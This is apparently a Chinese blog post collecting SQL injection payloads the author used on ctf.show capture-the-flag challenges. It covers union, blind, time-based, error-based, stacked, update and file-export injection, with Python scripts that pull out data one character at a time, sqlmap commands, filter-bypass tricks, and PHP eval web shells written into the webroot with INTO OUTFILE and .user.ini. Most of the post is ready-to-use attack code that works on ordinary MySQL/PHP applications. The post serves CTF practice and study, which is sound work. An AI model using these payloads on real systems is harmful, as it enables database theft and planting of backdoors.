sql注入总结

目录

sql注入练了100余题目,web也练了300多题。感觉部分payload可以通杀很多题目,问了提高做题效率,减少打通时间,现在觉得有必要将这些题目的payload总结一下。

1、首先是判断字符注入和数字注入。在注释时尽量选择--+,因为#在url请求时不会被请求,一会试试。单,双引号都试试,回显不一样或者有报错,判断是哪种类型的注入。

2、很多payload的都用到四句句命令,如爆数据库,爆表,爆列,查flag,但存在不同的过滤如果被过滤了空格,使用如下语句(过滤空格)

3、sqlmap POST注入用如下命令:将请求头复制到文件中进行测试。

4、万能密码

5、如果过滤了很多  web(不是入门)web8

6、没有任何回显,可能需要扫描目录。这里的例题是一个md5($password,true)绕过这个字符的题目。

 7、回显过滤if(!preg_match('/flag|[0-9]/i', json_encode($ret))),对回显进行过滤。

8、回显能替换的都替换了怎么办,那就用盲注或者写文件。web176

9、过滤题目,不仅前段过滤,后端也过滤,没有办法,就是多试。

9.1 过滤了这么多。考虑盲注试一下

9.2又过滤了这么多,换函数继续盲注。(有时间好好去研究一下过滤方式)

9.4,这道题,是弱类型比较,出现的注入漏洞,输入0和0就可以比较成功。

9.5当输如用户名为1和0,出现不一样的提示,例如:(密码错误和查询失败两种提示),说明已经可以使用盲注了。例如题目,flag在文件中index.php中时,在用户名和密码用loadfile对文件的每个字母进行截取,判断,如果截取到字母的话,那么就为1,否则就为0,这样值为1的字母,会出现‘密码错误'的回显,针对‘密码错误’的回显进行校验,如果校验成功,将字符添加到flag中,脚本如下:例如web190

9.6,当输入0和1,回显一样的时候,这时候想想万能密码是不是能构造出数字0和1,例如web190,这个地方用万能密码  '||1 ,构造了1个1,使得回显不一样,这样就可以截取字符串进行比对,如果比对成功的是1,那就吧'||1状态下的字符记录下来,最后通过下面的脚本进行重复截取就可以了。

9.7,过滤了ascii将上一个脚本的accii改成ord或者用下一个脚本也行。

9.8过滤了ascii和ord,直接用下面这个脚本就行了。

10.1 update注入

11.1 sqlmap的使用

12其他注入.如limit,group by

 13堆叠注入

 14、updata注入

 15、delete注入。

 16、flie文件导出都能有漏洞,过滤了php,可以用16进制。

 17、报错注入,看似有sql错误,其实所有的命令不能用,直接用下面的payload也可以,涉及一个左边flag和右边flag的问题,

18剩下的都是nosql不太明白,以后再说吧。


sql注入练了100余题目,web也练了300多题。感觉部分payload可以通杀很多题目,问了提高做题效率,减少打通时间,现在觉得有必要将这些题目的payload总结一下。

1、首先是判断字符注入和数字注入。在注释时尽量选择--+,因为#在url请求时不会被请求,一会试试。单,双引号都试试,回显不一样或者有报错,判断是哪种类型的注入。

2、很多payload的都用到四句句命令,如爆数据库,爆表,爆列,查flag,但存在不同的过滤

如果被过滤了空格,使用如下语句(过滤空格)

3、sqlmap POST注入用如下命令:将请求头复制到文件中进行测试。

4、万能密码

5、过滤的另外形式

  1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
  2. 过滤and, 可以使用or替代
  3. 过滤union, 可以用盲注替代联合注入
  4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
  5. 下面用一个盲注脚本

6、没有任何回显,可能需要扫描目录。这里的例题是一个md5($password,true)绕过这个字符的题目。

7、 回显过滤if(!preg_match('/flag|[0-9]/i', json_encode($ret))),对回显进行过滤。

8、回显能替换的都替换了怎么办,那就用盲注或者写文件。web176

1、首先是判断字符注入和数字注入。在注释时尽量选择--+,因为#在url请求时不会被请求,一会试试。单,双引号都试试,回显不一样或者有报错,判断是哪种类型的注入。

2、很多payload的都用到四句句命令,如爆数据库,爆表,爆列,查flag,但存在不同的过滤如果被过滤了空格,使用如下语句(过滤空格)

(1)?id=-1 union select 1,database() --+测试,爆库
(2)?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+爆表
(3)?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2' --+(注意这个表名要带引号)
(4)1' union select 1,password from ctfshow_user2 --+(注意这个表名不带引号)
#注意爆字段的语句有时候可以再末尾,有时候可以再中间,需要多试几次
post注入用这条命令
将请求头复制到文件中进行测试
sqlmap.py -r C:\Users\hp\Desktop\1.txt --dbs --dump

如果被过滤了空格,使用如下语句(过滤空格)

万能登录试一下,后面加不加or(true)都可以,还有注意数字型注入一定不要加引号,/**/与括号可以混合使用。
a'or(true)#
爆库
a'or(true)union(select(1),database(),3)#
爆表名
a'or(true)union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web2')),3)#
#这里web2换成database()也行了
爆列名
a'or(true)union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#
#注意,这里第2个回显位网上的payload少了个括号,我在这里试了很多次才成功。
注flag
a'or(true)union(select(1),(select(flag)from(flag)),3)#
#注意,括号一定要闭合全,要不然出不来结果啊

被过滤空格,同时过滤了flag,使用/**/

有的题目,table_schema=表名,查不出来可以用database(),flag查不出来,换0x666c6167,例如
?id=1/**/order/**/by/**/3#与原页面返回相同
?id=-1/**/union/**/select/**/1,2,3#
查表
id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()
查列id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167
查字段记录值
?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag
或者-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

***如果information_schema.tables,和information_schema.columns被过滤,用information_schema.`tables`,/information_schema.`columns`代替

-1/**/union/**/select/**/load_file('/real_flag_is_here')

3、sqlmap POST注入用如下命令:将请求头复制到文件中进行测试。

sqlmap.py -r C:\Users\hp\Desktop\1.txt --dbs --dump

4、万能密码

a'or(true)#
1'1=1#

5、如果过滤了很多  web(不是入门)web8

1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
2. 过滤and, 可以使用or替代
3. 过滤union, 可以用盲注替代联合注入
4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

下面用一个盲注脚本

import requests
 
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
 
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))
 
        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break
 
        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

6、没有任何回显,可能需要扫描目录。这里的例题是一个md5($password,true)绕过这个字符的题目。

尝试简单的万能密码以及过滤绕过,各种方法均没有回显。
查看网站源代码, 没有提示。
这时候猜测可能有其他页面,直接后台目录扫描,发现index.phps源代码文件。
发现有这么一行
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
对于函数md5(string,raw)
第二个参数有以下可选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
所以只要md5加密后的16进制转化为二进制时有 'or’xxxx,即可构成闭合语句: username ='admin' and password =‘ ’or 'xxxxx' 成功登陆
这里给出两个符合的字符串
ffifdyop
129581926211651571912466741651878684928
但题目有长度限制,所以输入ffifdyop即可获取flag

构造出来的语句正好是这个
select * from user where username ='admin' and password =''or'6�]��!r,��b',以前不懂双引号后面跟上点是啥意思,总也为是拼接,这次搞懂了,是为了闭合前面的语句,为后面的语句进行解析。

 7、回显过滤if(!preg_match('/flag|[0-9]/i', json_encode($ret))),对回显进行过滤。

1' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj'),'g','numh') from ctfshow_user4;--+

8、回显能替换的都替换了怎么办,那就用盲注或者写文件。web176

import requests
import time
import string

str=string.digits+string.ascii_lowercase+"{-}"
url = 'http://2c621323-6800-438f-9867-9110cce65972.chall.ctf.show/api/v5.php?id='
flag = ''

for i in range(1,50):
	print(i)
	for j in str:
		payload = "0'or if(substr(password,{},1)='{}',sleep(1),0)%23".format(i,j)
		#print(payload)
		stime = time.time()
		r = requests.get(url+payload)
		etime = time.time()
		if etime-stime >=1:
			flag +=j
			print(flag)
			break

#结果是这个:111ihord526aed6f-fa4e-4a9b-873a-4e43cdb1e6e1}不知道为啥不能显示ctfshow,sleep那里也只能是1,其他时间不对。这个盲注脚本不稳定

 或者写文件

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php

-1' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+") into outfile'/var/www/html/5.php

1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt' %23

9、过滤题目,不仅前段过滤,后端也过滤,没有办法,就是多试。

一、万能密码
1'%0aor%0a1=1%23
1'||1%23
二、要注意前段和后端的过滤,还有如下命令的使用。
id=0'||username='flag
id=0'||(password)regexp'ctfshow
id=0'||(username)regexp'f



-1'union%0aselect%0apassword,1,2%0afrom%0actfshow_user%23

#写php文件写不进去,是不是过滤了php?过滤了php就写到txt里面

1'%0aunion%0aselect%0a1,2,group_concat(password)%0afrom%0actfshow_user%0ainto%0aoutfile%0a'/var/www/html/1.txt'%23

9.1 过滤了这么多。考虑盲注试一下

  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

wp盲猜了个数据库ctfshow_user试了一下

(ctfshow_user)where(pass)regexp'ctfshow{}'

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }
-----------------------------------
import string
import requests
import time
# flagstr=string.ascii_lowercase+string.digits+"{}-"
flagstr=string.ascii_lowercase+string.digits+"{}-"
print(flagstr)
url="http://bd5c6f66-dce5-4d45-b729-afb9714beca5.challenge.ctf.show/select-waf.php"
flag=""
for i in range(40):
    for x in flagstr:
        data={"tableName":"(ctfshow_user)where(pass)regexp'ctfshow{}'".format(flag+x)}
        # print(data)
        res=requests.post(url=url,data=data)
        # print(res.text)
        # time.sleep(0.3)
        if res.text.find("$user_count = 1;")>0:
            flag+=x
            print(flag)
            break
        else:
            continue
print(flag)

9.2又过滤了这么多,换函数继续盲注。(有时间好好去研究一下过滤方式)

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

这下把where也过滤了,考虑用group by和having,通过true和false构造二进制进行绕过。注意concat作用是把所有的字符串汇总到一起,形成ctfshow{????}然后和查询出来的比较,如果有值,就将这个字符串记录起来,最终得到flag


import requests
import string
import sys

def convert(strs):
    t = 'concat('
    for s in strs:
        t += 'char(true' + '+true' * (ord(s) - 1) + '),'
    return t[:-1] + ")"

url = 'http://14c31d24-da90-4cd6-99b9-bba4febec1fc.challenge.ctf.show/select-waf.php'

strr = string.ascii_lowercase+"_-{}"+string.digits
flag = 'ctfshow{'
# print(ordhex(flag))
# print(strr)
for j in range(40):
    for i in strr:
        # print(i)
        data = {
            "tableName": " ctfshow_user group by pass having pass regexp(" + convert(flag+i) + ")"
        }
        # print(data)
        io = requests.post(url, data)
        # print(io.text)
        if "$user_count = 1" in io.text:
            # print(flag+i)
            flag += i
            # if i == "7d":
            #     sys.exit()
    print(flag)

9.4,这道题,是弱类型比较,出现的注入漏洞,输入0和0就可以比较成功。

这道题前面没有密码保护,导致用户名是字母开头的如果和数字比较,会全部显示出来。数字和数字比较的话,4ab=4。
//用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

9.5当输如用户名为1和0,出现不一样的提示,例如:(密码错误和查询失败两种提示),说明已经可以使用盲注了。例如题目,flag在文件中index.php中时,在用户名和密码用loadfile对文件的每个字母进行截取,判断,如果截取到字母的话,那么就为1,否则就为0,这样值为1的字母,会出现‘密码错误'的回显,针对‘密码错误’的回显进行校验,如果校验成功,将字符添加到flag中,脚本如下:例如web190

#author:yu22x
import requests
import string
url="http://0c319ec2-97ac-4777-ad4a-e10bc32baf1d.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(256,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},4,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            print(data['username'])
            flag+=chr(j)#将数字转换为ascii码
            print(flag)
            break

9.6,当输入0和1,回显一样的时候,这时候想想万能密码是不是能构造出数字0和1,例如web190,这个地方用万能密码  '||1 ,构造了1个1,使得回显不一样,这样就可以截取字符串进行比对,如果比对成功的是1,那就吧'||1状态下的字符记录下来,最后通过下面的脚本进行重复截取就可以了。


import requests
import string
url="http://bf2ba56a-fd33-41c8-89a9-8fe160791dc0.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,46):
    print(i)
    for j in range(32,128):
        #跑库名
        # data={
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑表名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

9.7,过滤了ascii将上一个脚本的accii改成ord或者用下一个脚本也行。

import requests
import string
url="http://ff16c4da-3670-4011-ab7b-0e376ed0f0b7.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):

        #跑表名
        # data={
        #     'username':f"'||if((substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{chr(j)}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)
            print(flag)
            break

9.8过滤了ascii和ord,直接用下面这个脚本就行了。

import requests
import string
url="http://ff16c4da-3670-4011-ab7b-0e376ed0f0b7.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):

        #跑表名
        # data={
        #     'username':f"'||if((substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{chr(j)}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)
            print(flag)
            break

如果过滤了这么多if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i',

还有一个函数可以用,那就是mid

import requests
import string
url="http://a3c7f12a-4540-480c-b348-548c89b9c766.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,46):
    print(i)
    for j in range(32,128):

        #跑表名
        # data={
        #     'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{chr(j)}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)
            print(flag)
            break

10.1 update注入

 有的题没有过滤分号,但过滤了单双引号,但是输入1和0的时候,又像盲注,这时候可以考虑堆叠注入,堆叠的payload:

1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;

10.2没有过滤;也没有过滤select,可以用下面语句,但是不知道为什么。

0;select(1);&password=1

10.3当密码不要求是数字的时候,可以将password的结果放到show tables中查询,匹配成功,就登录成功了

username=1;show tables;&password=ctfshow_user

11.1 sqlmap的使用

注入过程中一定要多检查,检查以下几点。
1、sqlmap请求的参数一定是要双引号,单引号会报错。默认是index.php的时候,有时候也会注入不出来,例如/api/的默认主页是/api/index.php,没有index.php也会没有结果。
提交参数的地址是不是正确。例如有一道题,web201需要提交的参数是指定参数--user-agent=sqlmap --referer=ctf.show
2、referer有时候也可以是浏览器中burp抓包自带的referer
3、要求是--method=put的方式的时候,需要用到如下参数--method=PUT  --header=Content-Type:text/plain
4、api鉴权的意思是,在查询钱提交一个url,对这个url进行鉴权。
5、前缀的加或不加,对sqlmap来说,注入的结果就不一样。加错参数也很要命。
6、针对tamper的使用,对空格过滤,对双写过滤,return preg_match('/ |\*|\=/', $str);的过滤。web207-213都做了详细的应用。注意tamper不能叠加使用,只能在一个py里面使用。
7、针对时间盲注,这里积累了很多,很多时间盲注和网速有关,
例如:无过滤,where id = from_base64($id); return preg_match('/sleep/i',$str),benchmark
这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配(这种情况下比较复杂)
preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);过滤这么多的脚本应该能成为时间盲注的通杀,也挺好用。

12其他注入.如limit,group by

limit注入  具体原理不太懂,注意page和limit次序不能混淆(web221)

http://4de11b63-c1db-41f3-94b7-d5d1d45e0e95.challenge.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

  $sql = select * from ctfshow_user group by $username; (web222)

和盲注类似

?u=concat(if(substr((select flagaabc from ctfshow_flaga),1,1)='a',username,cot(0)))#

$sql = select * from ctfshow_user group by $username;  group注入 

这个有个盲注脚本,web223

 13堆叠注入

?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
?username=';Prepare stmt from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE stmt;%

这两条命令大多通杀。

web224

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
  }

?username=';show tables;%23

?username=';handler `ctfshow_flagasa` open as hd;handler hd read first;%23

 web225

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }过滤掉了show

?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
-------------------------------------      
?username=';Prepare stmt from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE stmt;
';handler `ctfsh_ow_flagas` open as hd;handler hd read first;%23
-----------------------------------------
十六进制转字符串 select * from ctfsh_ow_flagas

 web227

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }
      
web227做不了web226的通解,web227的表被匹配到了,所以做不了226的

?username=';Prepare stmt from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;EXECUTE stmt;%23
---------------------------------
十六进制转字符串   select * from information_schema.routines

 14、updata注入

#获取所有表名

password=',username=(select  group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=1

#获取所有列名
password=',username=(select  group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=1

#获取flag   
password=',username=(select  group_concat(flagas) from flaga)%23&username=1

----------------------------------------

web232用了一个

$sql = "update ctfshow_user set pass = md5('{$password}')不用管,password那里闭合了,上面的代码还能用。

web233

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

web234,有时候第一条语句成立,第二条语句出不来结果的话,可能是过滤来了关键字,可以用16进制表示。

一直到236,有很多姿势,可以都试一试。

web240,flag共9位,flag开头,这时候,爆破后面的五位就行。

 15、delete注入。

delete from users where id=sleep(0.20)
这样是可以达到延时

 16、flie文件导出都能有漏洞,过滤了php,可以用16进制。

FIELDS TERMINATED BY‘,‘字段间分割符
OPTIONALLY ENCLOSED BY‘"‘将字段包围 对数值型无效--未测试

--------------------------------------------------web242

filename=7.php' FIELDS TERMINATED BY '<?php eval($_REQUEST[1]);?> ' #
访问/dump/7.PHP

0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A ==> \nauto_prepend_file=gylq.jpg
首先上传一个图片文件
filename=gylq.jpg' LINES TERMINATED BY 0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A#
0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A ==> <?php eval($_REQUEST[1]);?>
再上传.user.ini文件
filename=.user.ini' LINES TERMINATED BY 0x0A6175746F5F70726570656E645F66696C653D67796C712E6A70670A#
接着访问index.php就把jpg中的php代码包含进来了

 17、报错注入,看似有sql错误,其实所有的命令不能用,直接用下面的payload也可以,涉及一个左边flag和右边flag的问题,

web244,

爆表
api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23
爆列
api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag')),1)%23
爆flag
api/?id=1' or updatexml(1,concat(0x3d,(select flag from ctfshow_flag)),1)%23
api/?id=1' or updatexml(1,concat(0x3d,(select right(flag,30) from ctfshow_flag)),1)%23

web245积累一下报错注入的语句,过滤了updatexml,看总结的payload吧,这里没写and前面必须为真,才能查询成功。

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

 web247过滤了updatexml extractvalue

 ?id=1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+

?id=1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa' limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+

?id=1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
最后的查询还有一个payload可以利用,但这个payload不能使用上面的语句


?id=1' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa),0x7e,ceil(rand()*2))a from information_schema.tables group by a-- A

18剩下的都是nosql不太明白,以后再说吧。

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值